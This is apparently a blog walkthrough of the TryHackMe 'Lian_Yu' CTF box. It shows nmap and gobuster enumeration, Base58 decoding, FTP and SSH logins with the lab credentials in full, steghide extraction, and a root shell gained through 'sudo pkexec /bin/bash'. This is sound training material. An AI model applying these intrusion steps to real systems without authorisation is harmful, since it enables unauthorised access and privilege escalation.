← Back to list

TryHackMe : Lian_Yu Walkthrough

Welcome to Lian_YU, an Arrowverse-themed beginner-level CTF box on TryHackMe.  The objective is to capture multiple flags by performing…

Hardik · 2025-09-02 14:49 · 0 claps · 11.0 min read
#tryhackme-walkthrough #tryhackme-writeup #lian-yu #tryhackme #writup
Open on Medium ↗

TryHackMe : Lian_Yu Walkthrough

A beginner level security challenge

A beginner level security challenge

Welcome to Lian_YU, an Arrowverse-themed beginner-level CTF box on TryHackMe. The objective is to capture multiple flags by performing enumeration, web exploitation, and privilege escalation. Let’s walk through the steps!

🔍 Step 1: Reconnaissance

  • I started with a default Nmap scan to check for open ports and running services.
nmap -sC -sV <target-ip>
┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV thm        
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-02 18:46 IST
Nmap scan report for thm (10.201.44.83)
Host is up (0.23s latency).
Not shown: 996 closed tcp ports (reset)
PORT    STATE SERVICE VERSION
21/tcp  open  ftp     vsftpd 3.0.2
22/tcp  open  ssh     OpenSSH 6.7p1 Debian 5+deb8u8 (protocol 2.0)
| ssh-hostkey: 
|   1024 56:50:bd:11:ef:d4:ac:56:32:c3:ee:73:3e:de:87:f4 (DSA)
|   2048 39:6f:3a:9c:b6:2d:ad:0c:d8:6d:be:77:13:07:25:d6 (RSA)
|   256 a6:69:96:d7:6d:61:27:96:7e:bb:9f:83:60:1b:52:12 (ECDSA)
|_  256 3f:43:76:75:a8:5a:a6:cd:33:b0:66:42:04:91:fe:a0 (ED25519)
80/tcp  open  http    Apache httpd
|_http-title: Purgatory
|_http-server-header: Apache
111/tcp open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          44798/tcp6  status
|   100024  1          45659/udp6  status
|   100024  1          58787/tcp   status
|_  100024  1          60902/udp   status
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 48.94 seconds
  • Results showed 4 open ports and 3 filtered ports.
  • To dig deeper, I ran a service discovery scan.

📂 Step 2 — Quick check of FTP (always try anonymous)

  • Because FTP was open, I tried anonymous login first — it’s cheap and often yields hints or files.
ftp <TARGET_IP>
# At prompt:
Name: anonymous
Password: <press Enter>
┌──(kali㉿kali)-[~]
└─$ ftp thm
Connected to thm.
220 (vsFTPd 3.0.2)
Name (thm:kali): Anonymous
530 Permission denied.
ftp: Login failed
ftp>
  • Outcome: anonymous login failed (or didn’t grant anything useful).
  • Decision: since anonymous didn’t work, don’t waste time brute-forcing FTP right away, pivot to the web service on port 80 (it’s faster to check, and web often contains hints for credentials).

🌐 Step 3 — Web Enumeration

  • Visiting http://<TARGET_IP> I found a page titled ARROWVERSE with a big blurb about Oliver Queen / Lian Yu (background lore). This was visible content but didn’t contain the flag itself.

🔎 Step 4 — Directory enumeration with Gobuster

  • I moved to Port 80 (HTTP). Running Gobuster for directories revealed a hidden folder /island.
gobuster dir -u http://<target-ip>/ -w /usr/share/wordlists/dirb/big.txt
┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://thm/ -w /usr/share/wordlists/dirb/big.txt 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://thm/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess            (Status: 403) [Size: 199]
/.htpasswd            (Status: 403) [Size: 199]
Progress: 1474 / 20470 (7.20%)[ERROR] Get "http://thm/_gfx": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
/island               (Status: 301) [Size: 226] [--> http://thm/island/]
/server-status        (Status: 403) [Size: 199]
Progress: 20469 / 20470 (100.00%)
===============================================================
Finished
===============================================================

  • Inside /island, the page source had a hidden comment: "go! go!".
  • After some inspection, I noticed a hidden codeword: vigilante (same color as the background).

🧭 Step 5 — Continue bruteforcing discovered path

  • Because /island exists, run Gobuster on /island (look deeper) — authors often nest secret files.
gobuster dir -u http://thm/island/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://thm/island/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://thm/island/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/2100                 (Status: 301) [Size: 231] [--> http://thm/island/2100/]
Progress: 9231 / 220561 (4.19%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 9241 / 220561 (4.19%)
===============================================================
Finished
===============================================================

Result: found /island/2100 .

<TAREGT-IP>/island/2100

<TAREGT-IP>/island/2100

  • Page-Source

<!DOCTYPE html>
<html>
<body>

<h1 align=center>How Oliver Queen finds his way to Lian_Yu?</h1>

<p align=center >
<iframe width="640" height="480" src="https://www.youtube.com/embed/X8ZiFuW41yY">
</iframe> <p>
<!-- you can avail your .ticket here but how?   -->

</header>
</body>
</html>

🔎 Why this matters

  • The iframe only embeds a YouTube video (a distraction).
  • The HTML comment gives the real hint:
<!-- you can avail your .ticket here but how? -->
  • This suggests that files with the .ticket extension exist in this directory.

At this stage, many beginners might waste time analyzing the video. Instead, the smarter approach is to brute-force for files with .ticket extension.

  • So I ran Gobuster again with the file extension flag -x .ticket.
gobuster dir -u http://thm/island/2100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x .ticket -t 50 

└─$┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://thm/island/2100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x .ticket -t 50 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://thm/island/2100
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              ticket
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/green_arrow.ticket   (Status: 200) [Size: 71]
Progress: 43142 / 175330 (24.61%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 43202 / 175330 (24.64%)
===============================================================
Finished
===============================================================

<TARGET-IP>/island/2100/green_arrow.ticket

<TARGET-IP>/island/2100/green_arrow.ticket

This is just a token to get into Queen's Gambit(Ship)

RTy8yhBQdscX

🔐 Step 6 — Decode the .ticket (Base58)

  • The .ticket contents looked like Base58. I used dcode.fr (quick & easy) to decode it, it returned a password string.
python3 - <<'PY'
import base58
print(base58.b58decode("RTy8yhBQdscX").decode())
PY
┌──(kali㉿kali)-[~]
└─$ python3 - <<'PY'
heredoc> import base58
heredoc> print(base58.b58decode("RTy8yhBQdscX").decode())
heredoc> PY
!#th3h00d

📡 Step 7: FTP Access

  • So I logged into the FTP using vigilante as our username and the password we found
ftp <target-ip>
Username: vigilante
Password: !#th3h00d
┌──(kali㉿kali)-[~]
└─$ ftp thm
Connected to thm.
220 (vsFTPd 3.0.2)
Name (thm:kali): vigilante
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
  • Now we successfully logged in
ls -al
  • Output
ftp> ls -al
229 Entering Extended Passive Mode (|||9583|).
150 Here comes the directory listing.
drwxr-xr-x    2 1001     1001         4096 May 05  2020 .
drwxr-xr-x    4 0        0            4096 May 01  2020 ..
-rw-------    1 1001     1001           44 May 01  2020 .bash_history
-rw-r--r--    1 1001     1001          220 May 01  2020 .bash_logout
-rw-r--r--    1 1001     1001         3515 May 01  2020 .bashrc
-rw-r--r--    1 0        0            2483 May 01  2020 .other_user
-rw-r--r--    1 1001     1001          675 May 01  2020 .profile
-rw-r--r--    1 0        0          511720 May 01  2020 Leave_me_alone.png
-rw-r--r--    1 0        0          549924 May 05  2020 Queen's_Gambit.png
-rw-r--r--    1 0        0          191026 May 01  2020 aa.jpg
226 Directory send OK.
get <File-Name>
ftp> get Leave_me_alone.png
local: Leave_me_alone.png remote: Leave_me_alone.png
229 Entering Extended Passive Mode (|||16124|).
150 Opening BINARY mode data connection for Leave_me_alone.png (511720 bytes).
100% |***********************************************************************************************************************************************************************************************|   499 KiB   55.51 KiB/s    00:00 ETA
226 Transfer complete.
511720 bytes received in 00:09 (54.08 KiB/s)
ftp> get Queen's_Gambit.png
local: Queen's_Gambit.png remote: Queen's_Gambit.png
229 Entering Extended Passive Mode (|||51017|).
150 Opening BINARY mode data connection for Queen's_Gambit.png (549924 bytes).
100% |***********************************************************************************************************************************************************************************************|   537 KiB   56.20 KiB/s    00:00 ETA
226 Transfer complete.
549924 bytes received in 00:09 (54.79 KiB/s)
ftp> get aa.jpg
local: aa.jpg remote: aa.jpg
229 Entering Extended Passive Mode (|||63473|).
150 Opening BINARY mode data connection for aa.jpg (191026 bytes).
100% |***********************************************************************************************************************************************************************************************|   186 KiB   69.41 KiB/s    00:00 ETA
226 Transfer complete.
191026 bytes received in 00:02 (64.10 KiB/s)ftp> get .other_user
local: .other_user remote: .other_user
229 Entering Extended Passive Mode (|||55731|).
150 Opening BINARY mode data connection for .other_user (2483 bytes).
100% |***********************************************************************************************************************************************************************************************|  2483        3.40 MiB/s    00:00 ETA
226 Transfer complete.
2483 bytes received in 00:00 (11.78 KiB/s)
ftp> exit
221 Goodbye.
  • Now check other_user file.
cat .other_user
┌──(kali㉿kali)-[~]
└─$ cat .other_user 
Slade Wilson was 16 years old when he enlisted in the United States Army, having lied about his age. After serving a stint in Korea, he was later assigned to Camp Washington where he had been promoted to the rank of major. In the early 1960s, he met Captain Adeline Kane, who was tasked with training young soldiers in new fighting techniques in anticipation of brewing troubles taking place in Vietnam. Kane was amazed at how skilled Slade was and how quickly he adapted to modern conventions of warfare. She immediately fell in love with him and realized that he was without a doubt the most able-bodied combatant that she had ever encountered. She offered to privately train Slade in guerrilla warfare. In less than a year, Slade mastered every fighting form presented to him and was soon promoted to the rank of lieutenant colonel. Six months later, Adeline and he were married and she became pregnant with their first child. The war in Vietnam began to escalate and Slade was shipped overseas. In the war, his unit massacred a village, an event which sickened him. He was also rescued by SAS member Wintergreen, to whom he would later return the favor.

Chosen for a secret experiment, the Army imbued him with enhanced physical powers in an attempt to create metahuman super-soldiers for the U.S. military. Deathstroke became a mercenary soon after the experiment when he defied orders and rescued his friend Wintergreen, who had been sent on a suicide mission by a commanding officer with a grudge.[7] However, Slade kept this career secret from his family, even though his wife was an expert military combat instructor.

A criminal named the Jackal took his younger son Joseph Wilson hostage to force Slade to divulge the name of a client who had hired him as an assassin. Slade refused, claiming it was against his personal honor code. He attacked and killed the kidnappers at the rendezvous. Unfortunately, Joseph's throat was slashed by one of the criminals before Slade could prevent it, destroying Joseph's vocal cords and rendering him mute.

After taking Joseph to the hospital, Adeline was enraged at his endangerment of her son and tried to kill Slade by shooting him, but only managed to destroy his right eye. Afterwards, his confidence in his physical abilities was such that he made no secret of his impaired vision, marked by his mask which has a black, featureless half covering his lost right eye. Without his mask, Slade wears an eyepatch to cover his eye.

🖼 Step 8 — Steganography Hunt in Images

  • With three images downloaded, I tested them with steghide:
steghide extract -sf Leave_me_alone.png
steghide extract -sf Queen\'s_Gambit.png
steghide extract -sf aa.jpg
┌──(kali㉿kali)-[~]
└─$ steghide extract -sf Leave_me_alone.png             
Enter passphrase: 
steghide: the file format of the file "Leave_me_alone.png" is not supported.

┌──(kali㉿kali)-[~]
└─$ steghide extract -sf Queen\'s_Gambit.png 
Enter passphrase: 
steghide: the file format of the file "Queen's_Gambit.png" is not supported.

┌──(kali㉿kali)-[~]
└─$ steghide extract -sf aa.jpg             
Enter passphrase: 
steghide: could not extract any data with that passphrase!
  • Leave_me_alone.png → Unsupported format error
  • Queen's_Gambit.png → Unsupported format error
  • aa.jpg → Requires a passphrase

🔧 Step 9 — Fixing Broken Image Header

  • The error on Leave_me_alone.png hinted at corrupt file headers. Using a hex editor (HexEd), I corrected the PNG signature and saved it.

Tool: https://hexed.it/

Tool: https://hexed.it/

  • Fixed with png header bits
  • Saved

  • Opening again — boom! It revealed the hidden password:

📝 Why this matters: The broken header was a deliberate trick — repairing it gives us the key we need for steghide.

🗝 Step 10 — Cracking aa.jpg

  • Now retrying steghide with the discovered password:
steghide extract -sf aa.jpg
Enter passphrase: password

Success ✅ — a file named ss.zip was extracted.

┌──(kali㉿kali)-[~]
└─$ steghide extract -sf aa.jpg
Enter passphrase: 
wrote extracted data to "ss.zip".

📦 Step 11 — Extracting the Archive

unzip ss.zip
┌──(kali㉿kali)-[~]
└─$ unzip ss.zip 
Archive:  ss.zip
  inflating: passwd.txt              
  inflating: shado     

📄 Step 12 — Reading the Files

cat shado
┌──(kali㉿kali)-[~]
└─$ cat shado 
M3tahuman
  • That looks like a credential (password) for later use.
cat passwd.txt
┌──(kali㉿kali)-[~]
└─$ cat passwd.txt 
This is your visa to Land on Lian_Yu # Just for Fun ***

a small Note about it

Having spent years on the island, Oliver learned how to be resourceful and 
set booby traps all over the island in the common event he ran into dangerous
people. The island is also home to many animals, including pheasants,
wild pigs and wolves.
  • This second file is just flavor text — more Arrowverse lore. The real prize is shadopassword: M3tahuman

🖥 Step 13 — Gaining SSH Access

At this point, we’ve gathered:

  • A file called .other_user → hinted at Slade Wilson (Deathstroke) as another user.
  • A password M3tahuman from the stego extraction.

Looks like we’re meant to try SSH.

🔑 Attempting SSH with Credentials

ssh slade@<TARGET_IP>
slade@<TARGET_IP>'s password: M3tahuman
┌──(kali㉿kali)-[~]
└─$ ssh slade@10.201.44.83
slade@10.201.44.83's password: 
                              Way To SSH...
                          Loading.........Done.. 
                   Connecting To Lian_Yu  Happy Hacking

██╗    ██╗███████╗██╗      ██████╗ ██████╗ ███╗   ███╗███████╗██████╗ 
██║    ██║██╔════╝██║     ██╔════╝██╔═══██╗████╗ ████║██╔════╝╚════██╗
██║ █╗ ██║█████╗  ██║     ██║     ██║   ██║██╔████╔██║█████╗   █████╔╝
██║███╗██║██╔══╝  ██║     ██║     ██║   ██║██║╚██╔╝██║██╔══╝  ██╔═══╝ 
╚███╔███╔╝███████╗███████╗╚██████╗╚██████╔╝██║ ╚═╝ ██║███████╗███████╗
 ╚══╝╚══╝ ╚══════╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝     ╚═╝╚══════╝╚══════╝

        ██╗     ██╗ █████╗ ███╗   ██╗     ██╗   ██╗██╗   ██╗
        ██║     ██║██╔══██╗████╗  ██║     ╚██╗ ██╔╝██║   ██║
        ██║     ██║███████║██╔██╗ ██║      ╚████╔╝ ██║   ██║
        ██║     ██║██╔══██║██║╚██╗██║       ╚██╔╝  ██║   ██║
        ███████╗██║██║  ██║██║ ╚████║███████╗██║   ╚██████╔╝
        ╚══════╝╚═╝╚═╝  ╚═╝╚═╝  ╚═══╝╚══════╝╚═╝    ╚═════╝  #

Last login: Tue Sep  2 10:34:37 2025 from ip-10-17-14-244.ec2.internal
slade@LianYu:~$

📂 Step 14 — Exploring the User’s Home Directory

  • Once inside as slade:
ls -al
slade@LianYu:~$ ls -al
total 32
drwx------ 2 slade slade 4096 May  1  2020 .
drwxr-xr-x 4 root  root  4096 May  1  2020 ..
-rw------- 1 slade slade   22 May  1  2020 .bash_history
-rw-r--r-- 1 slade slade  220 May  1  2020 .bash_logout
-rw-r--r-- 1 slade slade 3515 May  1  2020 .bashrc
-r-------- 1 slade slade   77 May  1  2020 .Important
-rw-r--r-- 1 slade slade  675 May  1  2020 .profile
-r-------- 1 slade slade   63 May  1  2020 user.txt
  • Open user.txt file
cat user.txt
slade@LianYu:~$ cat user.txt
THM{............................................}
                        --Felicity Smoak
  • 🎉 That’s our first flag from the box.

🔍 Step 16 — Looking for Privilege Escalation Paths

  • Since we’re only user slade, we need to check:
  1. Sudo privileges
sudo -l

👉 This command lists what the current user can execute as root.

slade@LianYu:~$ sudo -l
[sudo] password for slade: 
Matching Defaults entries for slade on LianYu:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User slade may run the following commands on LianYu:
    (root) PASSWD: /usr/bin/pkexec
slade@LianYu:~$
  • Since pkexec allows executing commands as another user, we can attempt to spawn a root shell directly.

Exploitation:

sudo pkexec /bin/bash
slade@LianYu:~$ sudo pkexec /bin/bash
root@LianYu:~# whoami
root
root@LianYu:~#
  • Looking for root.txt file
ls -al
root@LianYu:~# ls -al
total 28
drwx------  3 root root 4096 May  1  2020 .
drwxr-xr-x 23 root root 4096 May  1  2020 ..
-rw-------  1 root root   22 May  1  2020 .bash_history
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
drwx------  2 root root 4096 May  1  2020 .gnupg
-rw-r--r--  1 root root  140 Nov 19  2007 .profile
-rw-r--r--  1 root root  340 May  1  2020 root.txt

output:

root@LianYu:~# cat root.txt 
                          Mission accomplished

You are injected me with Mirakuru:) ---> Now slade Will become DEATHSTROKE. 

THM{........................................................................}
                                                                              --DEATHSTROKE

Let me know your comments about this machine :)
I will be available @twitter @User6825

🔗 Feel free to connect with me on LinkedIn.

Thank You.


메타데이터
post_id
58fc4d366d40
slug
tryhackme-lian-yu-walkthrough-58fc4d366d40
url
https://medium.com/@H42DiK/tryhackme-lian-yu-walkthrough-58fc4d366d40
canonical_url
https://medium.com/@H42DiK/tryhackme-lian-yu-walkthrough-58fc4d366d40
author_url
https://medium.com/@H42DiK
status
ok
fetched_at
2026-07-17 19:33:32